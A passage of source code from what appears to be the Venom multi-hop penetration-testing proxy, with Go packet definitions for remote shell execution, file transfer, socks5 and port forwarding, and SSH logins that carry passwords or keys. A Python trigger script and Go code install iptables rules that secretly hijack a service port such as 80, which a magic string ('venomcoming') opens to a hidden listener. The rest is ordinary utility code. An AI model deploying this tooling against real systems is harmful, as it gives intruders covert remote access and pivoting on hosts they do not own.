90 | SrcHashID [32]byte // 源节点ID
91 | DstHashID [32]byte // 目的节点ID
92 | DataLen uint64
93 | }
94 |
95 | // InitPacketCmd 初始化数据包,命令数据
96 | type InitPacketCmd struct {
97 | OsType uint32 // 系统类型
98 | IsAdmin uint16 // 是否为管理员节点
99 | HashID [32]byte
100 | }
101 |
102 | // InitPacketRet 初始化数据包,命令数据
103 | type InitPacketRet struct {
104 | OsType uint32 // 系统类型
105 | IsAdmin uint16 // 是否为管理员节点
106 | HashID [32]byte
107 | }
108 |
109 | type SyncPacket struct {
110 | NetworkMapLen uint64
111 | NetworkMap []byte
112 | }
113 |
114 | // UploadPacketCmd
115 | type UploadPacketCmd struct {
116 | PathLen uint32 // 目标路径长度
117 | Path []byte
118 | FileLen uint64 // 文件大小
119 | // File []byte
120 | }
121 |
122 | // UploadPacketRet 文件上传返回包
123 | type UploadPacketRet struct {
124 | Success uint16 // 操作是否成功, 1 or 0
125 | MsgLen uint32 // 返回的信息长度
126 | Msg []byte // 如果成功则为空, 否则为错误信息
127 | }
128 |
129 | // DownloadPacketCmd 文件下载命令
130 | type DownloadPacketCmd struct {
131 | PathLen uint32 // 目标路径长度
132 | Path []byte // 目标路径名
133 | StillDownload uint32 // 如果文件过大是否还有继续下载
134 | }
135 |
136 | // DownloadPacketRet 文件下载返回包
137 | type DownloadPacketRet struct {
138 | Success uint16 // 操作是否成功, 1 or 0
139 | MsgLen uint32 // 返回的信息长度
140 | Msg []byte // 如果成功则为空, 否则为错误信息
141 | FileLen uint64 // 文件大小
142 | // File []byte
143 | }
144 |
145 | type FileDataPacket struct {
146 | DataLen uint32 // 返回的信息长度
147 | Data []byte // 如果成功则为空, 否则为错误信息
148 | }
149 |
150 | type ListenPacketCmd struct {
151 | Port uint16
152 | }
153 |
154 | type ListenPacketRet struct {
155 | Success uint16 // 操作是否成功, 1 or 0
156 | MsgLen uint32 // 返回的信息长度
157 | Msg []byte // 如果成功则为空, 否则为错误信息
158 | }
159 |
160 | type ConnectPacketCmd struct {
161 | IP uint32
162 | Port uint16
163 | }
164 |
165 | type ConnectPacketRet struct {
166 | Success uint16 // 操作是否成功, 1 or 0
167 | MsgLen uint32 // 返回的信息长度
168 | Msg []byte // 如果成功则为空, 否则为错误信息
169 | }
170 |
171 | type ShellPacketCmd struct {
172 | Start uint16 // 启动shell
173 | CmdLen uint32 // 要执行的命令
174 | Cmd []byte // 执行命令的长度
175 | }
176 |
177 | type ShellPacketRet struct {
178 | Success uint16 // 操作是否成功, 1 or 0
179 | DataLen uint32 // 返回的信息长度
180 | Data []byte // 如果成功则为空, 否则为错误信息
181 | }
182 |
183 | type Socks5ControlPacketCmd struct {
184 | Start uint16 // 启动一个socks5连接/关闭这个socks5连接,针对一个TCP连接而言
185 | SessionID uint16
186 | }
187 |
188 | type Socks5ControlPacketRet struct {
189 | Success uint16 // 启动一个socks5连接/关闭这个socks5连接,针对一个TCP连接而言
190 | }
191 |
192 | type NetDataPacket struct {
193 | SessionID uint16 // session id用于标识该数据包属于哪一个TCP连接,因为可能存在并发访问的问题
194 | // 在对数据包按命令类型分流之后,还需要对其中的socks5数据包做tcp会话分流
195 | DataLen uint32 // 返回的信息长度
196 | Data []byte // 如果成功则为空, 否则为错误信息
197 | Close uint16 // 1表示连接关闭
198 | }
199 |
200 | type NetLForwardPacketCmd struct {
201 | Start uint16
202 | DstPort uint16
203 | SrcPort uint16
204 | LHost uint32
205 | }
206 |
207 | type NetLForwardPacketRet struct {
208 | Success uint16
209 | SessionID uint16
210 | SrcPort uint16
211 | LHost uint32
212 | }
213 |
214 | type NetRForwardPacketCmd struct {
215 | Start uint16
216 | SessionID uint16
217 | RHost uint32
218 | SrcPort uint16
219 | }
220 |
221 | type NetRForwardPacketRet struct {
222 | Success uint16
223 | }
224 |
225 | type SshConnectPacketCmd struct {
226 | SshServer uint32 // 服务端IP地址
227 | SshPort uint16 // ssh服务端口
228 | DstPort uint16 // 要连接的target node监听的端口
229 | SshUserLen uint32
230 | SshUser []byte // ssh用户名
231 | SshAuthMethod uint16 // password(1) / ssh key(2)
232 | SshAuthDataLen uint32
233 | SshAuthData []byte // ssh key or password
234 | }
235 |
236 | type SshConnectPacketRet struct {
237 | Success uint16 // 操作是否成功, 1 or 0
238 | MsgLen uint32 // 返回的信息长度
239 | Msg []byte // 如果成功则为空, 否则为错误信息
240 | }
241 |
--------------------------------------------------------------------------------
/scripts/port_reuse.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | # a simple script to start/stop iptables port reuse.
5 |
6 | # example:
7 | # python port_reuse.py --start --rhost 192.168.1.2 --rport 80
8 | # python port_reuse.py --stop --rhost 192.168.1.2 --rport 80
9 |
10 | import socket
11 | import argparse
12 | import sys
13 |
14 | parser = argparse.ArgumentParser(description='start/stop iptables port reuse')
15 | parser.add_argument('--start', help='start port reusing', action='store_true')
16 | parser.add_argument('--stop', help='stop port reusing', action='store_true')
17 | parser.add_argument('--rhost', help='remote host', dest='ip')
18 | parser.add_argument('--rport', help='remote port', dest='port')
19 |
20 | START_PORT_REUSE = "venomcoming"
21 | STOP_PORT_REUSE = "venomleaving"
22 |
23 | options = parser.parse_args()
24 |
25 | data = ""
26 |
27 | if options.start:
28 | data = START_PORT_REUSE
29 | elif options.stop:
30 | data = STOP_PORT_REUSE
31 | else:
32 | parser.print_help()
33 | sys.exit(0)
34 |
35 | try:
36 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
37 | s.settimeout(2)
38 | s.connect((options.ip, int(options.port)))
39 | s.send(data)
40 | except:
41 | print "[-]Connect to target host error."
42 |
43 | try:
44 | s.recv(1024)
45 | except:
46 | pass
47 |
48 | s.close()
49 |
50 | print "[+]Done!"
51 |
--------------------------------------------------------------------------------
/utils/kmp.go:
--------------------------------------------------------------------------------
1 | // Modified https://github.com/paddie/gokmp
2 | package utils
3 |
4 | import (
5 | "errors"
6 | "fmt"
7 | )
8 |
9 | type KMP struct {
10 | Pattern string
11 | Prefix []int
12 | Size int
13 | }
14 |
15 | // For debugging
16 | func (kmp *KMP) String() string {
17 | return fmt.Sprintf("pattern: %v\nprefix: %v", kmp.Pattern, kmp.Prefix)
18 | }
19 |
20 | // compile new prefix-array given argument
21 | func NewKMP(pattern string) (*KMP, error) {
22 | prefix, err := computePrefix(pattern)
23 | if err != nil {
24 | return nil, err
25 | }
26 | return &KMP{
27 | Pattern: pattern,
28 | Prefix: prefix,
29 | Size: len(pattern)},
30 | nil
31 | }
32 |
33 | // returns an array containing indexes of matches
34 | // - error if pattern argument is less than 1 char
35 | func computePrefix(pattern string) ([]int, error) {
36 | // sanity check
37 | len_p := len(pattern)
38 | if len_p < 2 {
39 | if len_p == 0 {
40 | return nil, errors.New("'pattern' must contain at least one character")
41 | }
42 | return []int{-1}, nil
43 | }
44 | t := make([]int, len_p)
45 | t[0], t[1] = -1, 0
46 |
47 | pos, count := 2, 0
48 | for pos < len_p {
49 |
50 | if pattern[pos-1] == pattern[count] {
51 | count++
52 | t[pos] = count
53 | pos++
54 | } else {
55 | if count > 0 {
56 | count = t[count]
57 | } else {
58 | t[pos] = 0
59 | pos++
60 | }
61 | }
62 | }
63 | return t, nil
64 | }
65 |
--------------------------------------------------------------------------------
/utils/reuse_port.go:
--------------------------------------------------------------------------------
1 | // +build linux
2 | // +build amd64 386
3 |
4 | package utils
5 |
6 | import (
7 | "errors"
8 | "fmt"
9 | "log"
10 | "os"
11 | "os/exec"
12 | "os/signal"
13 | "strings"
14 | "syscall"
15 | )
16 |
17 | // reference: https://www.freebuf.com/articles/network/137683.html
18 |
19 | // sudo iptables -t nat -A PREROUTING -p tcp --dst 192.168.204.134 --dport 80 -j REDIRECT --to-port 9999
20 | // sudo iptables -t nat -D PREROUTING -p tcp --dst 192.168.204.134 --dport 80 -j REDIRECT --to-port 9999
21 | // sudo iptables -L -t nat
22 |
23 | // iptables -t nat -N VENOM
24 | // iptables -t nat -A VENOM -p tcp -j REDIRECT --to-port 8080
25 | // iptables -A INPUT -p tcp -m string --string 'venomcoming' --algo bm -m recent --set --name venom --rsource -j ACCEPT
26 | // iptables -A INPUT -p tcp -m string --string 'venomleaving' --algo bm -m recent --name venom --remove -j ACCEPT
27 | // iptables -t nat -A PREROUTING -p tcp --dst 192.168.1.18 --dport 80 --syn -m recent --rcheck --seconds 3600 --name venom --rsource -j VENOM
28 |
29 | // iptables -t nat -D PREROUTING -p tcp --dst 192.168.1.18 --dport 80 --syn -m recent --rcheck --seconds 3600 --name venom --rsource -j VENOM
30 | // iptables -D INPUT -p tcp -m string --string 'venomleaving' --algo bm -m recent --name venom --remove -j ACCEPT
31 | // iptables -D INPUT -p tcp -m string --string 'venomcoming' --algo bm -m recent --set --name venom --rsource -j ACCEPT
32 | // iptables -t nat -F VENOM
33 | // iptables -t nat -X VENOM
34 |
35 | const CHAIN_NAME = "VENOM"
36 | const START_FORWARDING = "venomcoming"
37 | const STOP_FORWARDING = "venomleaving"
38 |
39 | var INVALID_IP_ADDR = errors.New("invalid ip address.")
40 | var CMD_EXEC_FAIDED = errors.New("iptables command exec failed.")
41 |
42 | func DeletePortReuseRules(localPort uint16, reusedPort uint16) error {
43 |
44 | var cmds []string
45 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -D PREROUTING -p tcp --dport %d --syn -m recent --rcheck --seconds 3600 --name %s --rsource -j %s", reusedPort, strings.ToLower(CHAIN_NAME), CHAIN_NAME))
46 | cmds = append(cmds, fmt.Sprintf("iptables -D INPUT -p tcp -m string --string %s --algo bm -m recent --name %s --remove -j ACCEPT", STOP_FORWARDING, strings.ToLower(CHAIN_NAME)))
47 | cmds = append(cmds, fmt.Sprintf("iptables -D INPUT -p tcp -m string --string %s --algo bm -m recent --set --name %s --rsource -j ACCEPT", START_FORWARDING, strings.ToLower(CHAIN_NAME)))
48 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -F %s", CHAIN_NAME))
49 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -X %s", CHAIN_NAME))
50 |
51 | for _, each := range cmds {
52 | cmd := strings.Split(each, " ")
53 | err := exec.Command(cmd[0], cmd[1:]...).Run()
54 | if err != nil {
55 | log.Println("[!]Use '" + each + "' to delete iptables rules.")
56 | }
57 | }
58 |
59 | fmt.Println("[+]Delete iptables port reuse rules.")
60 | return nil
61 | }
62 |
63 | func SetPortReuseRules(localPort uint16, reusedPort uint16) error {
64 |
65 | sigs := make(chan os.Signal, 1)
66 |
67 | // 处理不了sigkill, 所以如果程序被kill -9杀掉,需要手动删除iptables规则
68 | signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM)
69 | go func() {
70 | for {
71 | <-sigs
72 | DeletePortReuseRules(localPort, reusedPort)
73 | os.Exit(0)
74 | }
75 | }()
76 |
77 | var cmds []string
78 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -N %s", CHAIN_NAME))
79 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -A %s -p tcp -j REDIRECT --to-port %d", CHAIN_NAME, localPort))
80 | cmds = append(cmds, fmt.Sprintf("iptables -A INPUT -p tcp -m string --string %s --algo bm -m recent --set --name %s --rsource -j ACCEPT", START_FORWARDING, strings.ToLower(CHAIN_NAME)))
81 | cmds = append(cmds, fmt.Sprintf("iptables -A INPUT -p tcp -m string --string %s --algo bm -m recent --name %s --remove -j ACCEPT", STOP_FORWARDING, strings.ToLower(CHAIN_NAME)))
82 | cmds = append(cmds, fmt.Sprintf("iptables -t nat -A PREROUTING -p tcp --dport %d --syn -m recent --rcheck --seconds 3600 --name %s --rsource -j %s", reusedPort, strings.ToLower(CHAIN_NAME), CHAIN_NAME))
83 |
84 | for _, each := range cmds {
85 | // fmt.Println(each)
86 | cmd := strings.Split(each, " ")
87 | err := exec.Command(cmd[0], cmd[1:]...).Run()
88 | if err != nil {
89 | return err
90 | }
91 | }
92 |
93 | return nil
94 | }
95 |
--------------------------------------------------------------------------------
/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "encoding/binary"
5 | "encoding/hex"
6 | "errors"
7 | "fmt"
8 | "log"
9 | "math/rand"
10 | "net"
11 | "os"
12 | "reflect"
13 | "runtime"
14 | "time"
15 |
16 | "github.com/Dliv3/Venom/crypto"
17 | )
18 |
19 | /* -------------------------- encoding/decoding ------------------------------ */
20 |
21 | // UUIDToArray32 UUID to 32byte arrary
22 | func UUIDToArray32(hashID string) [32]byte {
23 | currnetHashIDSlice, _ := hex.DecodeString(hashID)
24 | return SliceTo32ByteArray(currnetHashIDSlice)
25 | }
26 |
27 | // Array32ToUUID 32byte array to UUID
28 | func Array32ToUUID(bytes [32]byte) string {
29 | return fmt.Sprintf("%x", bytes)
30 | }
31 |
32 | /* ----------------------- Random number --------------------------- */
33 |
34 | // NewUUID New Universally Unique Identifier
35 | // TODO use https://github.com/satori/go.uuid to generate UUID
36 | func NewUUID() string {
37 | return crypto.Sha256(time.Now().Format(time.ANSIC) + GetRandomString(5))
38 | }
39 |
40 | // GetRandomString generate a random string
41 | func GetRandomString(length int) string {
42 | str := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
43 | bytes := []byte(str)
44 | result := []byte{}
45 | r := rand.New(rand.NewSource(time.Now().UnixNano()))
46 | for i := 0; i < length; i++ {
47 | result = append(result, bytes[r.Intn(len(bytes))])
48 | }
49 | return string(result)
50 | }
51 |
52 | /* ----------------------- Type conversion --------------------------- */
53 |
54 | func Uint32ToBytes(i uint32) []byte {
55 | var buf = make([]byte, 4)
56 | binary.BigEndian.PutUint32(buf, uint32(i))
57 | return buf
58 | }
59 |
60 | func BytesToUint32(buf []byte) uint32 {
61 | return uint32(binary.BigEndian.Uint32(buf))
62 | }
63 |
64 | func Uint16ToBytes(i uint16) []byte {
65 | var buf = make([]byte, 2)
66 | binary.BigEndian.PutUint16(buf, uint16(i))
67 | return buf
68 | }
69 |
70 | func BytesToUint16(buf []byte) uint16 {
71 | return uint16(binary.BigEndian.Uint16(buf))
72 | }
73 |
74 | func Uint64ToBytes(i uint64) []byte {
75 | var buf = make([]byte, 8)
76 | binary.BigEndian.PutUint64(buf, uint64(i))
77 | return buf
78 | }
79 |
80 | func BytesToUint64(buf []byte) uint64 {
81 | return uint64(binary.BigEndian.Uint64(buf))
82 | }
83 |
84 | func SliceTo32ByteArray(buf []byte) [32]byte {
85 | var result [32]byte
86 | for i := 0; i < 32; i++ {
87 | result[i] = buf[i]
88 | }
89 | return result
90 | }
91 |
92 | func IpToUint32(ip net.IP) uint32 {
93 | if len(ip) == 16 {
94 | return binary.BigEndian.Uint32(ip[12:16])
95 | }
96 | return binary.BigEndian.Uint32(ip)
97 | }
98 |
99 | func Uint32ToIp(nn uint32) net.IP {
100 | ip := make(net.IP, 4)
101 | binary.BigEndian.PutUint32(ip, nn)
102 | return ip
103 | }
104 |
105 | /* ----------------------- system info --------------------------- */
106 | func GetSystemType() (osType uint32) {
107 | var os = runtime.GOOS
108 | switch os {
109 | case "darwin":
110 | osType = 0x00
111 | case "windows":
112 | osType = 0x01
113 | case "linux":
114 | osType = 0x02
115 | default:
116 | // unknown
117 | osType = 0xff
118 | }
119 | return
120 | }
121 |
122 | /* ------------------------ file operation ---------------------------- */
123 |
124 | // FileExists Check if the file exists
125 | func FileExists(filename string) bool {
126 | var exist = true
127 | if _, err := os.Stat(filename); os.IsNotExist(err) {
128 | exist = false
129 | }
130 | return exist
131 | }
132 |
133 | // IsDir check if path is dir
134 | func IsDir(path string) bool {
135 | s, err := os.Stat(path)
136 | if err != nil {
137 | return false
138 | }
139 | return s.IsDir()
140 | }
141 |
142 | // GetFileSize Get the size of a single file
143 | func GetFileSize(path string) int64 {
144 | fileInfo, err := os.Stat(path)
145 | if err != nil {
146 | panic(err)
147 | }
148 | fileSize := fileInfo.Size() //获取size
149 | return fileSize
150 | }
151 |
152 | // GetFileSizeDescription 10.00G / 100.00M
153 | func GetFileSizeDescription(fileSize uint64) string {
154 | fileSizeFloat := float64(fileSize)
155 | const K = 1024 * 1.0
156 | const M = K * 1024
157 | const G = M * 1024
158 | if fileSizeFloat >= G {
159 | return fmt.Sprintf("%0.2fG", fileSizeFloat/G)
160 | }
161 | if fileSizeFloat >= M {
162 | return fmt.Sprintf("%0.2fM", fileSizeFloat/M)
163 | }
164 | return fmt.Sprintf("%0.2fK", fileSizeFloat/K)
165 | }
166 |
167 | /* -------------- Calculate structure size ----------------- */
168 | func PacketSize(packet interface{}) (uint64, error) {
169 |
170 | var size uint64
171 |
172 | size = 0
173 |
174 | t := reflect.TypeOf(packet)
175 | v := reflect.ValueOf(packet)
176 |
177 | if k := t.Kind(); k != reflect.Struct {
178 | return 0, errors.New("Param is Not Struct")
179 | }
180 |
181 | count := t.NumField()
182 | for i := 0; i < count; i++ {
183 | val := v.Field(i).Interface()
184 |
185 | // type switch
186 | switch value := val.(type) {
187 | case uint16:
188 | size += 2
189 | case uint32:
190 | size += 4
191 | case uint64:
192 | size += 8
193 | case string:
194 | size += uint64(len(value))
195 | case []byte:
196 | size += uint64(len(value))
197 | case [2]byte:
198 | size += uint64(len(value))
199 | case [4]byte:
200 | size += uint64(len(value))
201 | case [32]byte:
202 | size += uint64(len(value))
203 | default:
204 | log.Fatalln("[-]PacketSize error: type unsupport")
205 | return 0, errors.New("Type unsupport")
206 | }
207 | }
208 | return size, nil
209 | }
210 |
211 | /* ------------------- slice deduplication ---------------------*/
212 | func RemoveDuplicateElement(addrs []string) []string {
213 | result := make([]string, 0, len(addrs))
214 | temp := map[string]struct{}{}
215 | for _, item := range addrs {
216 | if _, ok := temp[item]; !ok {
217 | temp[item] = struct{}{}
218 | result = append(result, item)
219 | }
220 | }
221 | return result
222 | }
223 |
224 | /* --------------------- handling windows \r ------------------------------*/
225 | func HandleWindowsCR() {
226 | if runtime.GOOS == "windows" {
227 | var noUse string
228 | fmt.Scanf("%s", &noUse)
229 | // fmt.Println("windows :", []byte(noUse))
230 | }
231 | }
232 |
--------------------------------------------------------------------------------